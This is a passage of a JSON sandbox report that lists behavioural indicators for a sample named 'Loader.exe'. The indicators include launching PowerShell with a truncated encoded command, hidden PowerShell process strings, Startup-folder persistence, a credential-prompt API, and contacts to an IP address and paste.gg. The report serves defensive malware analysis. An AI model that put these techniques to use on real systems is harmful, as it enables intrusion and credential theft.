typically used to create a process","description":"\"Loader.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AG\" - (UID: 00000000-00006460)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.Me\" - (UID: 00000000-00008316)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"Loader.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader\" - (UID: 00000000-00006460)\n \"Loader.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00006460)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133886334978747529.8316.DefaultAppDomain.powershell\" - (UID: 00000000-00008316)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.133886335349304433.4152.DefaultAppDomain.powershell\" - (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Can loads assembly that contains the code that is currently executing [Dotnet]","description":"Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; File: \"Loader.exe\")\n Found string \"GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00006460.00000001.176621.00AA2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.183.180:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WmiMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$34","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to restart services (Powershell command string)","description":"Found string \"Resume-Service\" (Indicator: \"Resume-Service\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Restart-Service\" (Indicator: \"Restart-Service\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-379","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"Invoke-Expression\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Invoke-Expression\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"00000000-00008316\")\n file/memory contains long string with (Indicator: \"Start-Process\"; File: \"AMSI\")\n Found string \"Start-Process\" (Indicator: \"Start-Process\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Start-Process\" (Indicator: \"Start-Process\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")\n Found string \"Start-Process powershell -WindowStyle Hidden -ArgumentList @\"\" (Indicator: \"Start-Process\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\"), Found string \"Start-Process -FilePath $filePath\" (Indicator: \"Start-Process\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"Microsoft.PowerShell.Commands.StartServiceCommand\" (Indicator: \"StartService\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains ability to subscribe to a WMI event (Powershell command string)","description":"Found string \"Register-WmiEvent\" (Indicator: \"Register-WmiEvent\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-276","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"\":\\Users\\tm3nn2g\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\users\\tm3nn2g\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp\n 00000000-00008316.00000002.179261.56400000.00000004.mdmp\n \":\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" (Indicator: \":\\programdata\\microsoft\\windows\\start menu\\programs\\startup\") in Source: 00000000-00008316.00000001.177341.56400000.00000004.mdmp\n 00000000-00008316.00000002.179261.56400000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$36","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$37","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Dotnet code contains module to build PowerShell event","description":"$38","origin":"Static Parser","mitre_attack_id":"T1059.001","relevance":1,"id":"static-143","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"$39","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"Loader.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"CredUIPromptForCredentials\" in \"Loader.exe\"\n Observed unmanaged function \"MB_GetString\" in \"Loader.exe\"\n Observed unmanaged function \"ToUnicode\" in \"Loader.exe\"\n Observed unmanaged function \"GetStdHandle\" in \"Loader.exe\"\n Observed unmanaged function \"GetFileType\" in \"Loader.exe\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133886334866384066.6460.DefaultAppDomain.Loader\n Found string - \\\\.\\pipe\\PSHost.133886334978747529.8316.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.133886335349304433.4152.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"Loader.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at E7CB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at E7CB0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 1BBE0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 1BBE0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 29930000\n \"Loader.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 29210000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 29930000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 29210000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at E9270000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at E9270000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2A310000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 2A310000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00000000002042042afb7f0000@ntdll.dll\"\n \"22002300000000004042042afb7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Loader.exe\" was detected as \".NET\" and name: \"Library\"\n \"Loader.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"Loader.exe\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","relevance":1,"id":"static-144","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Loader.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3e","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3f","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00008316) was launched with new environment variables: \"USERDNSDOMAIN=\"qn1KTZkdQmbjsBj\"\"\n Process \"powershell.exe\" (UID: 00000000-00008316) was launched with modified environment variables: \"PSModulePath, PATHEXT, NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"paste.gg\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"Loader.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$40","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"Loader.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"Loader.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_tpv2wige.y0o.ps1\"\n \"Loader.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_1midewnx.jod.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_54tdtoyr.4qs.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_r2tzsvhz.i4p.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_gx32mqjv.wmr.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_h0qigsys.nn0.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a Windows service (Powershell command string)","description":"Found string \"New-Service\" (Indicator: \"New-Service\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-330","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WmiInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: 